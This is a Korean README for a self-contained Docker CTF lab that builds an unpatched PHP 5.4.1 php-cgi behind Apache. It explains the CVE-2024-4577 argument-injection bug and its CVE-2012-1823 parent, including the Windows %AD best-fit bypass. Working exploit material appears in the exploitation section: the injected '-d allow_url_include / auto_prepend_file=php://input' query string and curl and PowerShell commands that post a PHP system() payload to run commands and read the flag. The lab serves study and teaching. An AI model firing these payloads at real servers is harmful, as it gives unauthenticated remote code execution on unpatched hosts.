
# Docker 기반 CTF 랩: CVE-2024-4577 PHP-CGI 인자 주입을 통한 RCE 실증 RCE로 이어지는 CVE-2024-4577 PHP-CGI 인자 주입을 시연하는 Docker 기반 CTF 랩입니다. 취약한 PHP 5.4.1 CGI, 익스플로잇 스크립트, 플래그 획득 기능을 포함합니다.
처음부터 구축된 자체 포함형 Docker 랩으로, CVE-2024-4577 뒤에 있는 실제
인자 주입 → 원격 코드 실행 프리미티브를 시연합니다.
http://localhost:8080에서 익스플로잇하여 셸을 획득하고, 컨테이너 내부에서 플래그를 읽으세요.
이것은 시뮬레이션이 아닌 실제 취약점입니다. 이 컨테이너는 패치되지 않은 PHP 5.4.1 CGI 바이너리를 컴파일하고, 실제 취약한 호스트가 구성되는 방식 그대로 Apache 뒤에 연결합니다. 어디에도 가짜 "if password == flag" 검사는 없습니다 — 플래그를 얻는 유일한 방법은 실제로 코드 실행을 달성하는 것입니다.
CVE-2024-4577의 시그니처 페이로드는 %AD (소프트 하이픈)를 사용합니다. 이 트릭은
Windows에서만 작동합니다. Windows의 "Best-Fit" 문자 인코딩이
PHP의 CVE-2012-1823 패치가 이미 쿼리 문자열을 검사한 이후에 바이트 0xAD를 실제 - (0x2D)로
변환하기 때문입니다. 이 인코딩 변환은 Windows 자체에서 수행되며 —
일반적인 Linux Docker 컨테이너 내부에서는 발생하지 않습니다.
따라서 사용자 머신에서 실행 가능한 충실한 Linux 랩은 동일한
RCE 프리미티브 — URL을 통한 php-cgi 옵션 주입 → -d auto_prepend_file=php://input → 코드 실행 — 을 리터럴 -
형식(이것은 CVE-2024-4577의 상위 버그인 CVE-2012-1823임)으로 재현합니다. 실제 Windows CVE-2024-4577 대상과의 유일한
차이점은 %AD→-
인코딩 우회 레이어이며, 이 README에서 전체적으로 문서화합니다 (참조:
작동 방식 및
poc.http).
| 이 Linux 랩 | 실제 CVE-2024-4577 (Windows) | |
|---|---|---|
| 취약한 구성 요소 | php-cgi | php-cgi |
| RCE 프리미티브 | -d auto_prepend_file=php://input | 동일 |
| URL의 구분자 | 리터럴 - | %AD (best-fit → -) |
| 2012 패치 우회? | 해당 없음 (PHP가 패치 이전 버전) | 예, Windows best-fit을 통해 |
| Win 11 Home + Docker Desktop에서 실행 | ✅ | ❌ (Windows 컨테이너 필요) |
비트 단위로 정확한 Windows %AD 재현이 특별히 필요하다면,
Windows 컨테이너를 지원하는 Docker 호스트(Windows Server / Win Pro + Hyper-V)가 필요합니다 —
Windows 11 Home에서는 실행되지 않습니다. Windows 페이로드는 참고용으로
poc.http에 포함되어 있습니다.
CVE-2024-4577 — PHP CGI 인자 주입으로 인한 원격 코드 실행. DEVCORE (Orange Tsai / Angelboy) 가 발견했으며, 2024-06-06에 공개되었습니다.
PHP가 Windows에서 CGI 모드로 배포되거나(또는 php-cgi.exe 바이너리가 다른 방식으로 접근 가능한 상태로)
특정 시스템 로케일(중국어 번체/간체, 일본어 등)이 설정된 경우, 웹 서버는 HTTP 쿼리 문자열을
php-cgi에 명령줄 인자로 전달합니다. 공격자는 php-cgi
명령줄 옵션(-d ...)을 해당 쿼리 문자열에 몰래 주입할 수 있습니다. Windows의 best-fit
코드페이지 변환은 소프트 하이픈 바이트 0xAD (%AD)를 ASCII
하이픈 -로 변환하며, 이는 CVE-2012-1823 하드닝을 우회하여 공격자가
임의의 PHP INI 지시문을 설정할 수 있게 합니다 — 가장 유용한 것은
allow_url_include=1과 함께 auto_prepend_file=php://input을 설정하여
공격자가 제공한 요청 본문을 PHP로 실행하는 것입니다. 결과: 인증 없는 원격 코드
실행. 며칠 내에 실제 환경에서 무기화되었습니다 (예: TellYouThePass
랜섬웨어).
CGI는 쿼리 문자열을 argv로 전달합니다. RFC 3875에 따르면, CGI 요청의
쿼리 문자열에 인코딩되지 않은 =가 없으면, 서버는 이를 +로 분할하고,
각 단어를 URL 디코딩한 후 CGI 프로그램에
명령줄 인자로 전달합니다. 따라서 php-cgi는 공격자가 제어하는
argv를 수신합니다.
php-cgi는 해당 argv를 옵션으로 구문 분석합니다. 역사적으로 php-cgi는
해당 argv에서 -d key=value, -T 등을 해석했습니다.
-d allow_url_include=1 -d auto_prepend_file=php://input을 전달하면 PHP가
요청 본문을 코드로 실행하게 됩니다 → CVE-2012-1823.
CVE-2012-1823 수정은 Windows에서 불완전합니다. 2012년 패치는
sapi/cgi/cgi_main.c에 가드를 추가했습니다: 대략 "(원시) 쿼리 문자열이
-로 시작하고 =가 없으면 옵션 구문 분석을 건너뜁니다 (skip_getopt)."
리터럴 -를 보내는 공격자는 이제 차단됩니다.
Best-fit 인코딩이 가드를 무력화합니다 (2024년 버그). Windows에서 PHP는
best-fit 매핑이 활성화된 로케일 코드페이지를 사용하여 명령줄을 변환합니다.
공격자는 %AD (바이트 0xAD, 소프트 하이픈)를 보냅니다. 가드 검사
시점에 첫 번째 바이트는 0xAD이며 -가 아니므로
skip_getopt는 설정되지 않습니다. 나중에 PHP가 실제로 argv를 구성할 때,
Windows best-fit은 0xAD → -로 매핑하므로 getopt는 이제 -d를 봅니다.
옵션 주입은 이를 중지해야 했던 검사 이후에 발생합니다. 이
검사-후-변환 순서가 전체 취약점입니다.
이 Linux 랩에서 1~2단계는 3단계의 패치 이전 버전의 php-cgi로 정확히 재현되므로, 리터럴
-형식이 작동하며 동일한 RCE를 시연합니다. 4단계는 Windows 전용 레이어로, 문서화되었지만 실행되지는 않습니다 (Linux에는 best-fit 변환이 없음).
8.3.8, 8.2.20, 8.1.29에서 수정되었습니다. 따라서 취약한 버전:
조건: Windows OS; PHP가 CGI로 실행 또는 php-cgi.exe가 노출됨
(기본 Windows용 XAMPP 구성은 취약함); best-fit 경로에 영향을 받는
로케일. (상위 버그 CVE-2012-1823 — 이 랩이 실행하는 프리미티브 — 는
이 구성에서 2012년 수정 이전의 php-cgi를 실행하는 모든 OS에 영향을 미칩니다.)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. 사전 요구 사항
- **Docker Desktop** (Windows/macOS) 또는 Docker Engine (Linux).
Windows 11 Home: **WSL 2** 백엔드(기본값)로 Docker Desktop을 설치합니다.
→ https://www.docker.com/products/docker-desktop/
- 공격(exploitation)을 위한 `curl` (`curl.exe`는 Windows 10/11에 내장되어 있으며,
Git Bash / WSL / macOS / Linux에도 포함되어 있습니다).
- **빌드 중** 인터넷 접속 (PHP 5.4.1 소스를 다운로드합니다).
## 6. 빌드 지침
`cve-2024-4577-lab/` 폴더에서 터미널을 엽니다.
### 옵션 A — docker compose (권장)```bash
docker compose up --build -d
docker build 명령어:```bash docker build -t cve-2024-4577-lab .
**docker run 명령어:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
빌드는 PHP를 소스에서 컴파일합니다(첫 실행 시 약 2~5분 소요). 만약 빌드가 실패한다면(오프라인, 툴체인 없음, museum.php.net 차단 등), 대체 기본 이미지를 사용하세요:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
**ACME 내부 상태 포털** HTML이 표시되어야 하며, 가장 중요한 것은:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi(즉, php-cgi를 통해 제공됨)는 취약한 구성 요소가 요청 경로에 있음을 확인합니다. 또한 로그를 확인하세요:```bash
docker logs cve-2024-4577-lab
## 8. Exploitation steps
The injected query string (URL-encoded so Apache sees **no literal `=`** and
therefore treats it as CGI argv):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
which php-cgi가 다음과 같이 파싱합니다:``` -d allow_url_include=1 -d auto_prepend_file=php://input
**요청 본문**은 PHP 소스(`php://input`을 통해 읽음)가 되며 `index.php` *이전에* 실행됩니다.
### 8a. 가장 쉬운 방법 — 스크립트 실행```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> **Windows PowerShell**에서는 `curl.exe`를 명시적으로 사용하세요(PowerShell의 `curl`은
> `Invoke-WebRequest`의 별칭이며 쿼리 문자열을 변형시킵니다):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8c. 수동 — 원시 HTTP(Burp Repeater)
[`poc.http`](#poc-http)를 참조하세요. 요청 #1을 Burp Repeater에 붙여넣고 전송하세요.